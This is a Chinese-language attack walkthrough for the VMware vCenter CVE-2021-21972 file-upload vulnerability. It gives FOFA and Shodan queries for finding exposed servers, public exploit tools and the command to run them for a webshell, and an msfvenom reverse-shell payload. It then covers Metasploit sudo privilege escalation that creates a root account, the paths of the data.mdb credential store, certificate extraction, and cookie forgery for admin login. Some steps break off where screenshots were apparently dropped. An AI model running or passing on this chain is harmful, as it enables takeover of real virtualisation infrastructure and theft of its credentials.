1. VMware vCenter
Vcenter一般指VMware vCenter Server,其提供了一个可伸缩、可扩展的平台,为虚拟化管理奠定了基础,可集中管理VMware vSphere环境,与其他管理平台相比,极大地提高了IT管理员对虚拟环境的控制,Vcenter可以使管理员从一个位置深入了解虚拟基础架构的集群、主机、虚拟机、存储、客户操作系统和其他关键组件等所有信息。
vCenter Server 为 ESXi 的控制中心,可从单一控制点统一管理数据中心的所有 vSphere 主机和虚拟机。
2. 漏洞版本识别
/sdk/vimServiceVersions.xml
3. 搜索语法
3.1 fofa
app="vmware-vCenter" 或者 title="+ ID_VC_Welcome +"
3.2 shodan
http.title:"+ ID_VC_Welcome +"
4. CVE-2021-21972漏洞复现
该漏洞获得的shell默认权限是用户权限,不是root权限,需要提权才可以访问mdb文件。提权方法为sudo提权,有概率提不下来,比较繁琐。
4.1 漏洞说明
该漏洞为任意文件上传漏洞。
可以使用下面这个句子检测返回状态码是否为405
,如果是405
的情况下则证明大概率存在漏洞。
可以使用该工具进行扫描测试:
https://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC
4.1 影响版本
VMware vCenter Server 7.0系列 < 7.0.U1c VMware vCenter Server 6.7系列 < 6.7.U3l VMware vCenter Server 6.5系列 < 6.5 U3n
5. 漏洞搭建(略)
参考资料:https://blog.csdn.net/z136370204/article/details/111719373
6. 漏洞复现
6.1 漏洞扫描
https://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC
扫描就是一个玄学。。。。
也可以使用nuclei来进行扫描。
6.2 getshell
https://github.com/NS-Sp4ce/CVE-2021-21972
使用方法:
python3 CVE-2021-21972.py -url https://xxxxx
攻击脚本至少需要写120次,寻找真实的绝对路径,受网络问题影响较大,如果写入成功,就会直接回显shell地址。
冰蝎连接:
7. 提权
因为当前权限过低,无法直接获取cookie
伪造所需要的mdb
文件,因此先进行提权:
Linux photon-machine 4.4.110-2.ph1 #1-photon SMP Wed Jan 10 23:27:15 UTC 2018 x86_64 GNU/Linux msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf > a.elf
7.1 msf提权
反弹回来一个shell,然后使用msf的模块建议提权:
run post/multi/recon/local_exploit_suggester
在这里会给出一个sudo
提权的建议,直接run
就行了:
最后会创建一个root权限的账号密码。
7.2 其他的提权
有些情况可以成功。当然,还可以通过以下脚本进行提权:
https://www.horizon3.ai/compromising-vcenter-via-saml-certificates/
https://github.com/worawit/CVE-2021-3156/blob/main/exploit_defaults_mailer.py)
8. cookie伪造登录
在这里拿到shell
之后,需要对其进行伪造登录:
获取data.mdb
,默认位置:
windows:C:/ProgramData/VMware/vCenterServer/data/vmdird/data.mdb
linux:/storage/db/vmware-vmdir/data.mdb
8.1 mdb数据获取
因为现在拿到的是root
权限,所以在这里直接通过python
起一个服务,直接将mdb
下载到本地进行解析,也可以直接将脚本上传上去解析,两个方法的脚本略有不同:
https://github.com/3gstudent/Homework-of-Python/blob/master/vCenter_ExtraCertFromMdb.py
这个脚本直接上传到靶机上去就可以用了:
python vCenter_ExtraCertFromMdb.py /storage/db/vmware-vmdir/data.mdb
或者将数据下载下来:
8.2 cookie获取登录
在此界面下,访问cookie
:
然后访问https://127.0.0.1/ui,回车等待:
等待一会,不管cookie
等如何加载,等着就行